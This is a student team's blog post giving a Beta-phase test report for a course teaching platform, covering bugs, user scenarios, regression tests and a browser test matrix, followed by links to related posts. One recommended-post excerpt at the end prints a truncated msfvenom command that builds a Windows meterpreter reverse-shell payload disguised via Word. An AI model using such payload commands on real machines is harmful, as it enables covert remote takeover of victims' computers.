项目 内容
2020春季计算机学院软件工程(罗杰 任健) 博客园班级博客
作业要求 Beta阶段测试报告
我们在这个课程的目标是 在团队合作中锻炼自己
这个作业在哪个具体方面帮助我们实现目标 对Beta阶段的测试部分进行说明和总结

一、测试中发现的Bug

在测试中发现并修复的bug:

  • 添加教师列表中也会显示学生
  • 评测等待时间过长
  • 添加结对项目评测点会链接到添加个人项目评测点
  • 学生列表显示空白

在测试中发现但仍待修复的bug:

  • 添加学生列表有多页时会报错

二、场景测试

场景测试A

1.典型用户:学生小王

2.需求和目标:在课程平台上接收课程通知,提交作业,查看课程进度,管理项目。

3.使用场景描述:

  • 小王登录进入课程平台,看到”广播“处有红点,提示自己有未读的新广播消息。小王点开”广播“栏,看到”收到的广播“处的通知气泡显示为1,提示收到了1条新广播。接下来他点击按钮进入广播界面,查看收到的新广播消息。阅读完消息后,小王点击”已读“按钮,将已读的消息隐藏。
  • 小王收到了一条广播通知,原来是有新的博客作业发布了。小王在博客界面点击“新建博客”,在新建博客的“作业”选项中选择相应的作业名称,开始撰写博客作业。
  • 小王想要了解一下课程的进度情况,确认一下作业的ddl。小王点击“教学进度”按钮,进入教学进度界面,查看当前的教学进度和时间节点。

场景测试B

1.典型用户:助教大刘

2.需求和目标:在课程平台上为学生作业创建仓库,对作业进行自动评测。

3.使用场景描述:

  • 大刘需要为一个班级的学生创建账户。他登录进入课程平台,在“班级管理”中选择“批量添加学生账户”,跳转至批量添加学生界面。大刘将一个班级的学生信息按照规定的格式导入,点击“创建用户”按钮,批量创建了多个学生账户。

  • 大刘需要为结对项目创建仓库。他在班级中的结对项目界面点击“结对项目管理面板”,在面板的”仓库管理“中选择“批量分配结对项目学生仓库”,按照规定的格式导入结对学生的信息,点击“创建仓库”按钮,批量创建了多个结对项目仓库。

  • 大刘准备为同学们的博客作业评分。他评阅了同学们的博客,在博客中点击“评分”按钮,输入每个分项的得分,点击“提交评分”,之后就可以在博客中看到这位同学的得分情况。

  • 大刘准备添加一个评测机。他在评测节点管理控制界面点击“添加评测节点”,输入评测机的名称和地址,完成添加。

  • 大刘准备为结对项目进行评测。他打开结对项目管理面板,在面板的”评测管理“中选择”管理结对项目评测点“,点击“创建结对项目评测点”,进行评测点的创建。大刘在查看评测点界面,可以看到评测点的数据信息。对于添加错误的评测点,可以进行删除操作。

    评测点创建完成后,大刘点击”提交评测任务“,开始自动评测。评测结束后,大刘点击”获取评测结果“,查看评测的得分情况。

场景测试C

1.典型用户:罗老师

2.需求和目标:在课程平台上发布博客作业。

3.使用场景描述:

  • 罗老师登录课程平台,在班级界面中点击“新建博客作业”按钮,跳转至新建博客作业界面。罗老师输入博客作业名称和作业描述,点击“创建博客作业”按钮,成功创建一个新的博客作业。

场景测试D

1.典型用户:管理员

2.需求和目标:在课程平台上添加和管理组织。

3.使用场景描述:

  • 管理员登录课程平台,在组织栏中选择“新建组织”,输入组织信息,点击“提交”按钮,创建一个新组织。管理员选择“管理组织”,查看已经创建的组织,并且可以对组织进行删除操作。

三、回归测试

我们保留了原来的测试用例,在增加新功能的开发过程中,保证原来的测试用例都能通过。

回归测试样例:

  • 增加批量添加学生功能后,逐个添加学生功能不受影响。
  • 增加批量创建结对和团队项目功能后,逐个创建结对和团队项目功能不受影响。

四、测试矩阵

OS 浏览器 登录 添加学生 创建项目 博客功能 广播功能 查看教学进度 评测功能 组织管理 注销 页面排版 页面跳转 图标有无问题 访问速度
Windows Chrome 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 较慢
Linux Firefox 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 较慢
Mac Safari 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 正常 较慢

五、Beta阶段出口条件

  • 实现权限管理,保证用户不能越权

    • 用户登录权限管理
    • 博客评分、发布博客作业、发送广播功能只有教师端能够使用
    • 只有管理员有创建、修改组织的权限
  • 在保证原有功能可用性的前提下,实现更多自动化功能的扩展
    • 批量添加学生
    • 批量创建结对、团队项目
  • 实现与原界面相比进一步美化
    • 整体界面美化
    • 优化界面细节
  • 完善其他功能,提高用户体验
    • 完善评测系统
    • 完善广播系统

[敏捷软工团队博客]Beta阶段测试报告的更多相关文章

  1. [敏捷软工团队博客]Beta阶段项目展示

    团队成员简介和个人博客地址 头像 姓名 博客园名称 自我介绍 PM 测试 前端 后端 dzx 秃头院的大闸蟹 大闸蟹是1706菜市场里无菜可卖的底层水货.大闸蟹喜欢音乐(但可惜不会),喜欢lol(可惜 ...

  2. [敏捷软工团队博客]Beta阶段使用指南

    软件工程教学实践平台使用指南 项目地址:http://20.185.223.195:8000/ 项目团队:the agiles 进入界面如图: 目录 软件工程教学实践平台使用指南 学生端 登录 iss ...

  3. [敏捷软工团队博客]Beta阶段事后分析

    设想和目标 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们的软件要解决的问题是:现在的软工课程的作业分布在博客园.GitHub上,没有一个集成多种功能的一体化 ...

  4. [敏捷软工团队博客]Beta阶段发布声明

    项目 内容 2020春季计算机学院软件工程(罗杰 任健) 博客园班级博客 作业要求 Beta阶段发布声明 我们在这个课程的目标是 在团队合作中锻炼自己 这个作业在哪个具体方面帮助我们实现目标 对Bet ...

  5. [敏捷软工团队博客]Beta设计和计划

    项目 内容 2020春季计算机学院软件工程(罗杰 任健) 博客园班级博客 作业要求 Beta设计和计划 我们在这个课程的目标是 在团队合作中锻炼自己 这个作业在哪个具体方面帮助我们实现目标 对Beta ...

  6. [敏捷软工团队博客]The Agiles 团队介绍&团队采访

    项目 内容 课程:北航-2020-春-敏捷软工 博客园班级博客 作业要求 团队作业-团队介绍和采访 团队名称来源 The Agile is The Agile. 敏捷就是敏捷.我们只是敏捷的践行者罢了 ...

  7. [敏捷软工团队博客]项目介绍 & 需求分析 & 发布预测

    项目 内容 2020春季计算机学院软件工程(罗杰 任健) 博客园班级博客 作业要求 团队项目选择 我们在这个课程的目标是 在团队合作中锻炼自己 这个作业在哪个具体方面帮助我们实现目标 了解项目整体情况 ...

  8. [软工顶级理解组] Beta阶段测试报告

    在测试过程中发现了多少Bug? 测试阶段发现并已修复的bug: 尚且存在,但是难以解决或者不影响使用的bug: 计算重修课程的时候,如果重修课程的课程号和原课程号不同,则GPA计算会出现误差.但我们无 ...

  9. [BUAA软工]第一次博客作业---阅读《构建之法》

    [BUAA软工]第一次博客作业 项目 内容 这个作业属于哪个课程 北航软工 这个作业的要求在哪里 第1次个人作业 我在这个课程的目标是 学习如何以团队的形式开发软件,提升个人软件开发能力 这个作业在哪 ...

随机推荐

  1. Vs code自动生成Doxygen格式注释

    前言 ​ 程序中注释的规范和统一性的重要性不言而喻,本文就推荐一种在用vscode编写代码时自动化生成标准化注释格式的方法,关于Doxygen规范及其使用可查看博文 代码注释规范之Doxygen. ​ ...

  2. Tomcat部署与优化

    目录: 一.Tomcat概述 二.Tomcat 服务部署 三.Tomcat 虚拟主机配置 四.Tomcat 优化 一.Tomcat概述 Tomcat是Java语言开发的,Tomcat服务器是-个免费的 ...

  3. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  4. 分布式必备理论基础:CAP和BASE

    大家好,我是老三,今天是没有刷题的一天,心情愉悦,给大家分享两个简单的知识点:分布式理论中的CAP和BASE. CAP理论 什么是CAP CAP原则又称CAP定理,指的是在一个分布式系统中,Consi ...

  5. 关联数组VS索引数组

    关联数组和常规说的数组类似,它包含标量抄数据,可用索引值来单独选择这些数据,和常规数组不同的是, 关联数组的索引值不是非负的整数而是任意的标量袭.这些标量称为百Keys,可以在以后用于检索数组中的数值 ...

  6. Elasticsearch(ES)分词器的那些事儿

    1. 概述 分词器是Elasticsearch中很重要的一个组件,用来将一段文本分析成一个一个的词,Elasticsearch再根据这些词去做倒排索引. 今天我们就来聊聊分词器的相关知识. 2. 内置 ...

  7. CentOS7下编译安装redis-5.0.9

    CentOS7下编译安装redis-5.0.9 本文地址http://yangjianyong.cn/?p=171转载无需经过作者本人授权 下载redis #code start wget https ...

  8. PHP中的PDO操作学习(三)预处理类及绑定数据

    要说 PDO 中最强大的功能,除了为不同的数据库提供了统一的接口之外,更重要的就是它的预处理能力,也就是 PDOStatement 所提供的功能.因为它的存在,才让我们可以安心地去使用而不用操心 SQ ...

  9. html阴影 box-shadow

    右下阴影 div { box-shadow: 10px 10px 5px #888888; }四周阴影 div { box-shadow: 0 0 5px #888888; } div {box-sh ...

  10. Jmeter系列(3)- 常用断言之响应断言

    断言的作用 确定请求是有效还是无效的 添加断言 面板模块介绍 Apply to 作用:指定断言作用范围 Main sample and sub-sample:作用于主main sample和子sub- ...